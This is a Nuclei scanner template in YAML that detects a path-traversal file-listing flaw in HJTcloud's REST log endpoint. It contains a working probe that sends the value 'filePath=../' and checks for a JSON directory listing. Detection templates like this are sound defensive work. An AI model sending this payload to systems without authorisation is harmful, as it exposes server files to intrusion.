nuclei-templates/http/vulnerabilities/other/hjtcloud-rest-arbitrary-fil...

44 lines
1.1 KiB
YAML

id: hjtcloud-rest-arbitrary-file-read
info:
name: HJTcloud - Local File Inclusion
author: pikpikcu
severity: high
description: HJTcloud is vulnerable to local file inclusion.
reference:
- https://mp.weixin.qq.com/s/w2pkj5ADN7b5uxe-wmfGbw
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-22
metadata:
max-request: 1
tags: hjtcloud,lfi
http:
- method: GET
path:
- "{{BaseURL}}/him/api/rest/V1.0/system/log/list?filePath=../"
matchers-condition: and
matchers:
- type: word
words:
- '"name":'
- '"length":'
- '"filePath":'
- '"list":'
condition: and
part: body
- type: word
words:
- "application/json"
part: header
- type: status
status:
- 200
# digest: 4a0a004730450220685793978014c920906ab5b5eb1b87e903e549267950dc736fa514d3d7958b94022100dbbe5769d55e40b957b5c1041f575fe8c1f66d37f9ebeb1e29f55ebdbd21549e:922c64590222798bb761d5b6d8e72950